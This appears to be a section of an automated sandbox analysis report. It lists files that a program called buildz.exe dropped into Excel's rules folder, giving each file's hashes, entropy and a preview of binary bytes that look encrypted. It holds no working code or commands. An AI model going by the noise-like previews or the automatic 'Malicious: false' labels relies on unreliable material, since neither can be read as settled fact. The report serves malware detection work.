SHA-512:	3C399581CE4E98D6466F2114771F38303BBAC629BA50774565D90DDB3B61F16F118909129CE56EC27939D62AD5701980148711A650CEA75B49AAD6DE78ACCB79
Malicious:	false
Reputation:	unknown
Preview:	<?xml....3.z5..F..>...d)..{%.3.......".EUf%=E.!..%0p;...J..(e....h.....q...{.O:.....-]7{!A...bB....9..y!A...=..J...........RY.^..D..[..^..A......8.......w.....`.e8$i.H`.V. .....N7..~E.a..K....I...L[.2.....f.,<.......D./>....\|......^.3..../.v...Us..*qlV..Gh\."S.{.#.jQ.,.@G.2.>_'.....\|".g5......H)jp....:..x.,d..PR.Xn.\/,L.o].f.%W.x...z.8=/W ...^ .......u<...D_.y...}C!..P.%7.._....r;..HX#......Zbq....A_c....J.}.62.R.V..u`....T_B.~..S..[....<.bw....\|v..x.......S.7..e..\|.Fd0r."#.k.,.]1.{....[.U......w.'.7....K.........^.s......%j...I.. b`...B.\|..S.`...;v.~.B$..._....p..7../.!Kz..L.$.f.L..=.O. i..Y..n.$.w....B........).... .f........X.M..E.._...L....Q.&..@7..._...........i.....e.6.L..4...>SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224074v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	7.7291388161385335
Encrypted:	false
SSDEEP:	24:xEL8K5IM4TY12ZI/hJw2+faiuFDyi1f8/0eFtMg686smbD:S4BSk2BFNIzg3D
MD5:	64663F6C97D1017F3F2AD99E7E32B169
SHA1:	4740C2BE49B32432B9E634B397CB13DDA911418B
SHA-256:	9E9E3A66A80B506B662F68875FE6862D2AA9CDF98B96C4BDDFB6F09D381BD892
SHA-512:	4FC374DE1A2CA1B3957F63ADD54A25984404A0546B43DAE79850AF3D54CA8CEF750FBD63C3C770D20F8CB6D41B958733B7D7D240A965C984F5F9CC0E9B4D3409
Malicious:	false
Reputation:	unknown
Preview:	<?xml.+8..m.Ko.Y.v..O.R..kh..........C2K....v..4..W.....X(...F..S#.o.K.$..c.<X.tJ2....O..lVH..P...m.9V..la%{.l.g9...rV.F.j...G..2...2.....V.j..,ME....iyaU.eR..V$6.q.%t..?......c....l$...d...N..G.nF....=...!..]/...9.E...2.....\|M.l....M.0Y.7(....&....(....(..~.......C&.D.D.g.;...[...f.K.4..s..B@.[).C~.,p.G.s8...C.g`.+.q.g.&.....'.fX..A.\...Q.g.s#.@..f<$...SQ........=.......YWkk3x\|.\|..Q9..fi.mH..........t..@oeK..zp9.C1.......,..\.H.<.s.-.....].l..RZ...W.N..$..........r.^.....ls.=.j1w%.h.....t.xB.^.S:l)\|...O...~j]...._...?..rWJ..y].>........:,\|A..n...........7'!M.8...h.P'......&...^....\|.h.QU....S...Ah..../T.X.j....J.+.~.yU......."J..].:.+.U."...C..U......KM..H..v..o..5.!k.B.7..<.XC9.....m....LzSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224075v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1494
Entropy (8bit):	7.872218270779582
Encrypted:	false
SSDEEP:	24:oOcvCswDp1LYw+NB2CG1tgS9HUwEfOPs6ayDBUBcg5Ywlawc++RYbD:ZfLYw2vElHUwEfOE6FDBYcghYwH+cD
MD5:	A5AD9CB6A0DA6CF815BBEA633434B18E
SHA1:	FA2B6923CE720F28FA163D5129C19C28171E59BF
SHA-256:	E86C61633C129BA5C1BA28CA4D4AD605B1C4C513B8D530FA7A013CB5AFFDE146
SHA-512:	71BB93D0E4D59D157A5FEDD99CB0DA4C354BE6AA7416FA424D0C2A0E8CBE45B63915F33FAA8F9EEE5390CD86F29D1CA35B14AE324191BFF5C17186106CA27140
Malicious:	false
Reputation:	unknown
Preview:	<?xml.D...`..Y.x.....u.C.BJ."..<.....1.@./.XC.......{.a.[.jj_....F}...#.G...s.`1......%q..;....f=\|...Ws...,.o..6..<y`.5.....8.<.lk.....[...{'...6...R..$.oH+[&n..x.}..v..V..D<E..:E...4v....4. .Pe.n.......!...fk...$...C%....HL........+.....].QA....[<..r..]....$O...k.0.pl...Z".........3.%.i..Jq..y..a.Pa.6Bl!._...;.Zq.....`J.5x....~^.7kp.....Nxl.jv...`.9`.$.... ....w4......}..2D.....;q.e..w.:=../..z...A.....KN.m..d.'.Sru%./U!N@\|d.[+,.h.J..,..#\|w..[I5`...`.'/.g.Hx.]n.B.!..y.j...L.'.b..!.. t.KP.<.dV.~."M%-X.s.=..(,.\..O....\..#.....~.v.i`?....l.z..B... ..E.6.Y......J....N!r..$.0_..`8,.Z.y.d$.b.s... ..C..?d.+.4.K.bN..n.......e.O.#.f..m.^...&.]..'..y..8A.C..,.......&...(....>G.l...o.wv2...+=.o..TO.F.^.d.w.k_....f .B_5.j..y(.+.Ut.nCS1.Y..%.(.W.<......we..M..._y".........m,...ft..4.V.=..f..}P$..(...6....T...(hl).\......+..l.}....u..5)F..B1"...k....D{NU2....f.}ZoE......\...\0\|s.T....!S.1....m`..j...V.e...9....."...#.-H\L.cz...T76x5.. 7...F.L

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224082v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	7.734397380633638
Encrypted:	false
SSDEEP:	12:FhuhwvWLJwqTgn92UQZXOcrhxfV0c4dokNafpcE0qXc3pGMVPRksm8AATH1+ciik:FFvEwiHP9LucdiJqXc3W1bD
MD5:	0C03EF8F217EF4DF923524D0130ABD0A
SHA1:	0F696C88F5A62BA4C95215AB3655863D09BFCEB9
SHA-256:	2936145D8402FC79F53000B2697F344051D35E49DF0DD6BF13095B806E57050A
SHA-512:	F30B787B56D0FD0DCD34481CEDDF301C930E56A4E396A1D040F16839F4C170F0D8CDDA8CF95724209CEB6D01A7B0302A6F266DB133CE7D714E9C9A1AD4229E10
Malicious:	false
Reputation:	unknown
Preview:	<?xml.3....I....E.~z...7.%2\|...#.q~.....H..Q.a\?/....BOp....o.#............k%.......%X.^......t...5$b.-5...h....>1."O;1.{.\d...gD.O.(h...4`g....Z..L../.@......L..&O.K..8....9......T-....F%.v.]j.....hE.}........@....."V..U'b.ZX.[.9JR.Q...B..."".....x.l.k6/=..?.....C../.a1..F.'..N..../..uR.r...Fu....R....b....".N...FS....zR.c?.....,rh....T_a.FL;7."'....$.=>5.1...?[<.T3...f.f..a..$jI..7...t.h.cz..<..K..i.u.A...KG.].}bB.gv.+.r.{..V..#..d&..S.}N.N..^.O-.......A.C...Nc..{-.v..`. n.S..S.....L....FVd%.KH.......+.......;.e\..^ZJ.-......y{p...y.[._}.D.I....Q.R..\|.R....B..}..K.)}i..F.Q..z.\.'.>.2..<....\|..ixd.Y...L<....g.9M+...>.....\..P.....>..C.}..?..7-&j..{o9.N..ZJ.2.U?.....x.L.FC._.._u..2..w.nF$...D...W.[..)..C*..+.VSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224083v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1163
Entropy (8bit):	7.816329665683391
Encrypted:	false
SSDEEP:	24:wgb0RRa3SjdWdMRABZvVl5ZluNC/8mAsuJ/y24+iYP6PBTebD:wgIRQ3iCvVvjuNC/8HbEYP6pTcD
MD5:	0D536DD665B96AC8258162A73498A759
SHA1:	9470CD3DC557EFF7C2C456AB76EFD46CF0CD9DBA
SHA-256:	1C053FC59EB285B78B2809F4E58E222A9E093D76809D43B7B044FBC1A3BF5F1A
SHA-512:	45F7FCB4F8D0C07BC5799F63B770D5966CFC352523DE118AC147C8D09F1BFEDBB541C263E0005590E012BD89C6634F26B43B95452545D8C927BAB2D681E56B92
Malicious:	false
Reputation:	unknown
Preview:	<?xmlM....bAk.wJ...,.XF............EM..Y.........P.)`..'~U=..s..\|.2P#?..m,..3.z.X.C.....B..t....~...L.C.b.E.....j.nk..\|1.H.`p^JG...N...$z.........v..<h..q...../..g_a.Re.O.oO..4.op....A%..Qh.O...^..~...L..3.j.W..k..a..c.$x0N>#...p.9.0...(.Pb&.3.`.....#5Q.......[l.~<...4~.d.t.B..'.".I8..9zl..O...B.. ..D)....vI[.k0[..ac.uW.......i><.2z.U.....&M... m...F...m1....Q.....F\|.../E...>.V\|..b..k..h!x.b......cp.s.!l%V.DYE.. Nvz......xH.#...................yF.a(l....PX..z{._..:B.,..X...b9wk.Ct`.U....SO.i.?0....nL..~8&.9..A..gI.%4..3.z..!E.].$.-....~tf.....T.`".Z.lk......0...X...s.........;v.<q..T?.]..n.w.........9.^xs.p....Hul....Cq..f7.......#.]n.f_@...8aXR..N..;...i......a...h.sj2..'/<.H.9J.90.(..NG.wCwRXgS..y.....5...,b#....C.U..-\...{"j/E...\....._6..d...\|}..M........i"tH.T.d..-....6{.......g....u.y.$.<R.....r.>...e..r.....KT........5.FX....MH..q].;..VaeK.Q..tE...!..y.^.a.y.).6,.l......U......b..l.{..F.1/.QF...s}.`D.~..j..#y.,..Ux5..;F......mw......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224084v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1146
Entropy (8bit):	7.816249588483625
Encrypted:	false
SSDEEP:	24:U4XZ+Nkg+JleoF/3vB5SXqM1r81LktQacgWAJYUbD:JXZ+NkR3eM/3v+Xph81LjgzJ7D
MD5:	179DFB520E0FDE3359A32B9E33349EF4
SHA1:	93D0658D17E9A1C3F3447CE4272EC6049B1DC33D
SHA-256:	016ACC397A79FD62FD8AF060F0208EF0311333D25465E4EDA403D979FC69D7E4
SHA-512:	3D067B1A01F3FDC53879A4A32015804F376A84EF8E8A17613AA5E6891BF8E2595F648A895C30CC5C7F91C110999331B71E86E558D79D0F90A85B18075E8FFC9B
Malicious:	false
Reputation:	unknown
Preview:	<?xml..h.T ..5.ki...4.N.....Z.y...A.H...<#..W..M...`..N-...........{.(....,.a...7e....V....k<../.j}......9.1.n..UQW...mA..n.+.#Z@.".N1...k...H..A3..)?...s..y@wF.!-".......(23.GP}...k.~E.7. ..e../.H...h...".......4l...l..1.a.$......k....&l_1...W.~dj.....g......m..)@....6.q.E(.......h.l...~.g...4.K{.6hf..!>............1s...{.g.W.1.Z..;Cv.V...9.\2[...@..'.JY.i.......u.=Y\c9.)..h..M!..6.Fv..H.7.&d..v.k;..bs=.2......$..o..%.j.&.z..s..Sm$b.]U.5\|..4.y9....W.3...Z.+..i.c.....6p..^.)...,.p.g2T..H.t.....p0.........Z..V.qr,..W.0Xz....).......4..I.3..%...];...7....r......U.y}j.t.]\|F.tOEq'.Wrz...o...I.p..Q..jp{z.$gb..kwaN.~.C@.......'D...B.c..Fr......e.w...<.#.eb.0.v.#.dS.,v..v..t.5.C...E3........F'..e...=.K3.D.......[ugk......m.....p..].zdg.........0A.6..h..Uek`..W..Q.i..i..t.~..>....r7.Xw%eZmW!..+.s.h.......a.E..k..%.....8"ev#.q....dV.B.B._.oU.e........75..Sh...E..i\|#..c...oCP..^u..E..cV..x....).l..w.u_.....6g.l.n.~0"8..........g.....W.8..G

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224085v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2797
Entropy (8bit):	7.914332936480473
Encrypted:	false
SSDEEP:	48:R1QEglkEIakwoSqC21CW9p4lUHeYdrxr5z3TWUKz/0c9jAQbND:YEglkEIvwdqLCCgUH3t53Tk/r9jA6
MD5:	BDB28832CE14E29A6EE22989FDDF15F8
SHA1:	8A49570302F522C3A291469094363919E3825C5E
SHA-256:	F54A1246393280E2571F9976D402B7F4699FA53DC284A175B1CFB418738561EA
SHA-512:	95F7D73B92B70883CA96CAF50F2D5EB7F41C849A3C77FE357BD7A4478BCE8FC12D8379A0A690D128E680A2BDD5BA218E89985094C81A6C1B51E934507CBCBB61
Malicious:	false
Reputation:	unknown
Preview:	<?xml[s.c{4..l.`.V..H5....#pM.~`...8.@y..'y.....\|.3Lf.;.......d<.....W........F64y.e...T.z......-......#g........aT..?\.0.;..p..z....sU.h....PL.iB..X(...w.0..]-B..0.'...R...g.t...0...........r...]...V!x\...1.QV....uo.C.4a....z.\|...m.......^........\....yi......k.A....-s.y...q,x&..'.)..)I.....f..~............l......e\|@......S..x..Xd..v......e.7q6(&...J`m...u..........r1...f$...g.......`..x.....,....(....p0I.JF1.LI`.]l..U...).v.Q...~.j../\|.........J./.6B....j.......l.n g!..\|.b."...36.4.S.u.....@..g.mu]..^....v......_4N.J......Ne....'..M........b.Z......a....P.8...h.mpu.+RXi...f.s`......W..H.GK..}~7.p.h4.\|........%....p.P.S=...,S.......w...7.Y..\.r..!XS.C.:.....<...w............N.Fx.'..o.S.......=..E.t$.>....r....C.@.0.-....n......i3.H......8....F..a....EH.M.1..&.W..=..]!u3k...OQm......[.]..>O_n.t..T...lJe.Bz(........e...8....@._K..:..K./.....C[.......b..W{Q..e....../.`A..'.L...Bb.0...k...-......Js.=.'...8....^O./'Hc..8....:Lea...#.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224086v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2255
Entropy (8bit):	7.905685500001778
Encrypted:	false
SSDEEP:	48:kMVHaTm8I/9bGlYmHjOO3bCv4IdYefUvMZokHLsEPZdDRWSiiLbBTD:kqHkIxev3bPIdY8UvMZfHTBdUSiiLV/
MD5:	2783DFCFE763C3AC043E927D068B796E
SHA1:	574317C59D9CF64580C4C4528E0C3E39CBB38FD9
SHA-256:	2C0BCAE7D6A3FFD2474772FFB35C74366DDC309016307D75F39C4125A8B746B9
SHA-512:	D82142E3FF50F6C9C0B6281D6156D3B0D4177F16D4D6C9E5AABFF0F7D6696E1043E8DF9D3AD349F933A1E01D01EB1F7BB9CD24981EDAAB8315C91C0A3A393FF0
Malicious:	false
Reputation:	unknown
Preview:	<?xml'\.x.};..v...:"\5./......g_o......\|g..@.Z]Z<......)...... .....,u~.q....x...'.9....C.z.N.r.....~8pI.j..;....@.E.&.2.N..D2X....v)..V...H....G.t.....u..z~...@.3....c.) }...G...f.yx.6B8...Bk."...0@..8..V9nF....eR......(m..SFn.Z... D......]....i.i.JO....@z.i...Q.'s. ..t._{../.T..........i..?f.;.)q6wM.....Ql\.a.h)..Q......3,...)%jb...w...1/...vr..[.q.v..s.%...F..>,.b.D./......./M...JQ...>[..?.w.r]....:nQx..7...]..7....:...e..U^lw.T_m._.N..CC`%.FF)b.Di......V......$.....X.<.,..,xD...g-).h.....8....C....F..........$7......Vj..D.~H@.. p\|.u3y.+.4.....'<>..U.0DMm....,..(...+....g.oDh".....)....."[...nz.......\|,.6.....X<..^.D.....<....%3.......Q.}9X.Da`l....D..aw.......O...Xs.-.....93...Z....ke.......c.}..@..&F~.WW...M]tG..E..3../.......@a&...P$,).8.3..Y..4...%(..8nW1.,.........@A..5.).F^`m.J....... ...!.J..Gw6...=....F......FU....Py.Vf....~...o.!....j.......*.3]!.3..hk.Yvw..X5...0.n....!g.5.F9.Vr^`..._x....Gv51Z.`.P........H]...:.B.R.CjUe

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224087v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.87902722455579
Encrypted:	false
SSDEEP:	48:JkueHosHD7rU6zENdSbZRRoN3iVGJUzTDdar/GhZXD:JknHocD7lJbZ4Z9UzTxwGhZT
MD5:	64EFA2411ADE07835776001F9CAB610D
SHA1:	BB5DC429110FF1B35846C5863C0E66E8946C98E2
SHA-256:	0D568FC93406FCC7ACCB09E562B69607CCAFE9C10365004CF8952BC0B77D32CA
SHA-512:	0FA0F423B45952EA9BB62D84A4DB1453D4FAD2D3FDE67048889319144FF64D8118FBED7AB68876AF949465C2ED6F35B4E4F31170B87D7A69B9BC82F340DE394F
Malicious:	false
Reputation:	unknown
Preview:	<?xml.4.?...:?.....b.@.`8..,._0.c.,..sbD.4g.a....t.@._F{..H....]#7Y....{..j.t..H.x..g...2.pJ....v.!U.J.cd.H.ey.o#..t.6{....Pl.....-....I.7.\|.i.,a.E\|.&..:G.<...9..}.......,.3.rA.8.....4.(.\.v..W..j."...... .6..Z...[..t....9......7....R.-..f..e}...2.lL......M.J.j. :...n.....~.....s>.:w0.j<.b.[J<.>.t$K....0y..S.?a..K.H....4.c..n...b.....1.M..<^D..f.a..12M.....>.e....=..J. ..B..7.R...O....>..XF\"&."..".~h......s.M..r(..o...C-.Z"5'#.RS.r.O.........M8.Zj.M.i.....=.A..-Y2.!...h..V...Ny..C.~hq+'.............m.,.FT.0...F.&N..P....>.t.M..T.u..7X..hDc....iu. ZA.Z..J\..X..5.U..S.."...}...:.h.Qf../..@.[.>.{..p.M.@+....R..yld..!.f..02^O....!i.7.}O....u4..4..[.c?Xfj..a.X....o.(z0...T....>V..7L:#.N.b.d.....,..TZ.C......<.}......I....f...c7......_...4.aP....0.z,.1(].`O .X/)h.....^k..]cR.....)EFs.B..FXR....J...m..:.#c.....9...W.....\N.............9q..L ..Z.!..h..0.K!.....^../x.VF.].. ..o....1#..t....auy{.y....x.6$..z4F.&.X..a.d%.........:.s~..N.w.S..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224900v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	776
Entropy (8bit):	7.697433580663646
Encrypted:	false
SSDEEP:	12:Smg7LKjRKgcc4dBZtjTzIJIms9aSJrXGob27STaAN+Ncrxs5t1+cii9a:SVvKjR5cJdBsxIJfb27pNcra5mbD
MD5:	EA6B807D22137B97B072F3187217F9FC
SHA1:	30F5597DF3D23FE30A5607735734FF9B14F1C4F3
SHA-256:	33EA2A4055AF447054775872B6DF62D41C8FAA7B6C9C1A25808A007FEF4B8B83
SHA-512:	1A9D56B4343170AF262F682A8ADC32DF09E6F7CAD1FEADE3312AD471D15471B8C64537B851CACDE4462DBB1C301A682D8F327051F42CB00D34BBE55DB4F34DB6
Malicious:	false
Reputation:	unknown
Preview:	<?xml.ZO.Gr..j.......&+~.f...6;..5..9.......9/4BH8..A.....k...x..uq./."._.T.........U.4r..3K.NA..OBi]<.EL6.../.Z.b?...0....'.~..hp...v.l..M...f=.Uh....$_........'.8....D........G.N...y..h^s......z.2.=..5"...{.%..z..Lr_C.O...S..9.Pm.<k....A#+....OF...G8=..L.$....3y..S.$Rd.0..E ...`_.;...^z....6`.V............../.3.H..+k..>..Zzc&..$:8.dD;b..i.....z.y.S.,M].~@.&k.t............"C....XJ.....R.A7...5.Y.;L>.%....G8..5....'f.<...'.i.* .n.ViT......W.V..+P.... ..{wj...w\..l??)G.u...........#..C.1.I.y.u..F..T.....Ek....,B...j....(..w......( }...b.]....H......t.....`..Q.LJ...(...H.......n..3g..[....D..4...f...;fh.u4=~4..EM...u.P.,.l.g.!T.....Z.~{^....].%L...6...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224901v11.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2617
Entropy (8bit):	7.9159958573150755
Encrypted:	false
SSDEEP:	48:7j6V5RovbbAoR4cObofdzEy6Y1T5AirIu+DUbz8nRQSfzt9njH9ID2yOD:/6V5qvH41b6zEdY1FlwUbQnRQwxmW
MD5:	C27E9700CFEFC321511288BEF4A57198
SHA1:	A4693EC40A10277232653DA777049D8397B3D3EF
SHA-256:	C0E05632386630D195B83FB2FA68F5EB44D19E8274FAD80D984F4F6C739FAFCC
SHA-512:	1B9A317265D3246BCA8C5152A86D42DB109EF9337F894DDEABC7C4A3852537D3D586F12003E16684D58B492587A190F9685257B5C77250C0D0BCDCCC721F8A59
Malicious:	false
Reputation:	unknown
Preview:	<?xml...j.......\..i83....R...HX.......$...A.q}...%MYY...5y..\|.Dl.e.....~....K....[?.l.d+.6.].Mv..W.U...;..0.......M.8.......T.y.skm9uXv.,./...e..7.o.V..C.4....{y{.{).y.g.0.E../.`..H.J.>...C..yv...Z.-.......;...Xo.5.C...K....0Gh/.1i.3).g....!5...e.,..J1(..m....I..~.m.=E.0.:...Q&0M...{.l}.m....+..6.I..z..@`.2q\...S:....j.Z.........WyNY<...#..9x,{zm#..o..%.7r@..'._.....OvY.zI..x....T.K+Y..V6.U.(aJwO...O....`XR..H./.!..e#&.....o......w2..M.....H..B;..p......D....s7W......1:. F.@..S.U?O}.d.$A).9h1J.A....J.....k..I.x.....i&uKQ.a,...A\|6.<..m.D..8z~l.z.WU.{H....<v.B..t..$..'.. {.....H[......K=....R..m..'Y+..O..nz?.Cb..GJ....Jd..(.J.dC..D' ...JD-.:....F....P..cy..ue...q.v.Q..xMR).w8.Wc...xQw......R.........jCO.......*.P.dae..../......BVG....N.D...$..K...C+..9.V.A....z......B.R..M;.w.t..g.G.W:[..oy......,..lY.D.r.I...].s...$....p}H.&R.$..F..lV..7..\.v...4yF.4.....).....H.\..........ge....d]..m....H..Wk.........Z........k..^3R2[.;R..\dh...E.......C..D.I.5.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224902v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	783
Entropy (8bit):	7.745337960946512
Encrypted:	false
SSDEEP:	12:tSUCCCmgtGgrOKDimfwh2CcnfDluuz5FO4j8FAz7yIqqGww38UUW1+cii9a:xcXt7Lg2CA5dFVGaGkDNbD
MD5:	C1B7657AABCF9397AC95C0274AB6602B
SHA1:	9729583FBD6A846B69695DE509F798C732CCE30A
SHA-256:	C07418B97F4E1D8C0C5385BD2C7C6BAC64E44F29DF8E4822400ED0D51250DC46
SHA-512:	F061AF9A36DF4ACA9C0BFB6883B6D7CCFA3D1732A4B31FB1BA8C418E18EED89B59F49062B1ABCFE32FD87C385B1BE122385963AA871C88A4F2F709BD0F374F23
Malicious:	false
Reputation:	unknown
Preview:	<?xml...rG.zX..9.Ok....l{..t. ..g4....e......Y;.2=n.$m....,.r.D.,....RhT.H8...`.A....>:..o........"......B.~u.l.&.sK@A\|EA.....+<..z..0..Z3....O1.....%..p...E....w%qh.&&...O.\|.~.......n..U.V./]P.r.......Z...1.j..O.,<.N^2."[..X.Sc..(......W.-........Kj.v.C-\|........n.T..e.h..h^].I8{B]. ...5.......Zv..RO(.)a..a....].Rw.m\|_7"......e..^@<.'.v...l..<..U....PR_...e.v..+c....}.{N.O.r.&.(~.".af..N.t..rO\A......9:e..6..y...P.......n.\|Q... .H..5..?........7..S.../......h...+:..@G5..0tNwj.(S.....F.U...O......~O.(...p.....W.............@H../.;....<...C...wS.p.].%..X.,........T...W..F.J...<...e.K/v...;J..Hj...S.R..ng"..I,...7oJ..~.D........-F!....w...........{...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224903v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	3546
Entropy (8bit):	7.951410186574917
Encrypted:	false
SSDEEP:	48:8fIOWCks20PRuky67KsOeyC+sxxoRjWsXT0pUB3tbQDJZc1E0yFibjRjD:UWCks9ukoeyC+UMjW4WQYZ3LgFv
MD5:	48F4AA87E0603618DC083DE9875CC4D6
SHA1:	B7EE52A2A478462878386393E7C0F0A5016C0FD2
SHA-256:	900DD7B6E4641DF4A0D7C630B53C7951FE25DFF650A454D2FD7B3CAF7B0DFCF0
SHA-512:	DE7693010027770D57C34004CB50754B9B2F1F90EA925C4FA6A95170BAACD3CA35DE7B25B04F2148A6D738E6D368B93156E200CD926B0B0CB50B8A07FE06065F
Malicious:	false
Reputation:	unknown
Preview:	<?xmllC<.._.c......\| ..o..=..1.....O.("}..8.gK..[....:bq6@Kf..y.._...../.'vK{...V.r.....G...'E)..........&.U5........P.%s..Hd68..o....w. .U.....^E.........D.....k..H.....k#.%7.k..5...U../..j0......>......".....a...s'....h2.<Fkj........A:.\I.3..Uq...V..VN.io.r`a..x..1.I.....u.4.'...@d.._xX...9....Wf.R=A..GR..........W..m....Af....n......v....c6ix"...MU.j..e.m.\|.Z.eA...0 6J..J~.....C4.P.AI..?.%..HNu..(...b.....I.?&......R........_P&.......m..0..cl........]..V<x..y...?.M\^.&&._.Z.......v...q......4a....aO9{}....{.D.>...]..ms..Pt-..u.o...!.......nWr.>...........OM....f...eZ.t..S...g........sh........~.I..F.A.f.......%_...._..~cw.}...$.;...O...u2a.Ra.#T.a..W....t.mD.X.uf...h^#.&.......IJ..@....=....'..mg..uq7..r.wm..PI.eG...l......aMe..'..\{.#\|.[..O...G@..........B...E..w.M-..{b.....A..w...F.\|.v.$l..l...P....c...._>."..S.=.9T$zP.......c...A...."#.:.P.\|..0j..w....?..(....id.#.\.E.'...&.8.P.e........:..{?.....j........4...x.d.{..<..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224906v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4900
Entropy (8bit):	7.967029500104914
Encrypted:	false
SSDEEP:	96:LNMjakCcLo+yKwmKVcZCQT8vB+/E7Y8RjExahHTs3e3Gi+RyOkrJr+7WGRzgxO:LNC5FX4+/E7nzzfGiAyOaYzt
MD5:	7B467C6678CE41596E5051E9919C53D9
SHA1:	2BDF58EEC73B485D410588CBDF81D0DF47290923
SHA-256:	C5EDFE89784FADCE0387CC26007DA09A360E0BE691D0721334F30D88CCDF3BC1
SHA-512:	F67402AC2B1FBD04B1538107CF78D1C13820CA9300F3E8D3BDBF4A83258FC0944899A5B398B3561AD1C411DA866C4B577051CD8C8AAD6A824467B59CE7AD3806
Malicious:	false
Reputation:	unknown
Preview:	<?xml..g.....'k{i.._.o.I....k.(..B.Y...DA4o...lLD.vM.V.+q.5l3...8FJ.#..eE..~....U?"t.R...n..eO..RQ%...>.R...n9.....26...!:s......d...".C.%y. ...+..y...~....c..S....V.r.=.k..Jj.O.r......pgP....>.nN.d...A.B?Uy>.e..l.[.Q..:..\|.IT.9.]'..B.1i..)..0q.~....... .z`b...f....o..H..R...I.W..<88...C..a3...~A......>c..Y3?p8..<.q..;m....u:....[.(.m.}.Jn...Q...#P......]+k..R+..8..C"......~.;.%C.....Q.....O....r^.s.W....y.....<.....E..p....d1...x..z+{.n..E...Y!<....[[z.....z..T._....../V.%O..Z..).0...........e\.5...YT...r+......jx.......%j>.=...q.1....i..H...Yc.H.U}..O.M....FJ'J~<..1yP.v..w...P.'4..d.R.gFc+C........i....,e......L'...}..E.h.<!.K~@..B.u....:....j.&.....b..wy*.'.U7...._Tq.v.....[..l..X...:B...........f..o.u...E...%....%..f.G.>.t#;...:6..8....0.Ck...@:..H}....k..UH..8m.f.....hF.3...Q.g...k..T.......,>W.@....C..H..EY.3>..q.S..7E.D....."@....&...Cv..TEw.k..I.H...N..?.sE...iQ..E..'.FZ..RVIH+Fp...:6..'YG..$.....v.MA...R....A.y>.'QS..g..L....\.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224910v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	776
Entropy (8bit):	7.704977057250912
Encrypted:	false
SSDEEP:	24:6uIDa0CC1J7xfLHtRjVcF5SCMGhAzXvBbD:6uIDa3aJ7xztRM1SzZD
MD5:	0C200FED98B6A33F75E6FD68F00E4A20
SHA1:	582FE0E561B86C3064BFA8D3A634CFC2EAC00C6E
SHA-256:	EC001EDDEF87F454A799B4496E404DB328E93C25735EAF35830F54B46D7C4600
SHA-512:	6B678C354AEBE85F2FF88FCC708409439DB91B6E142861E3421EE2B3D55BD4A4D58330131B7A5ED8A93BF5111398E4F3B9EBDA06A9444C4DD2ABC5ABDEAA97C3
Malicious:	false
Reputation:	unknown
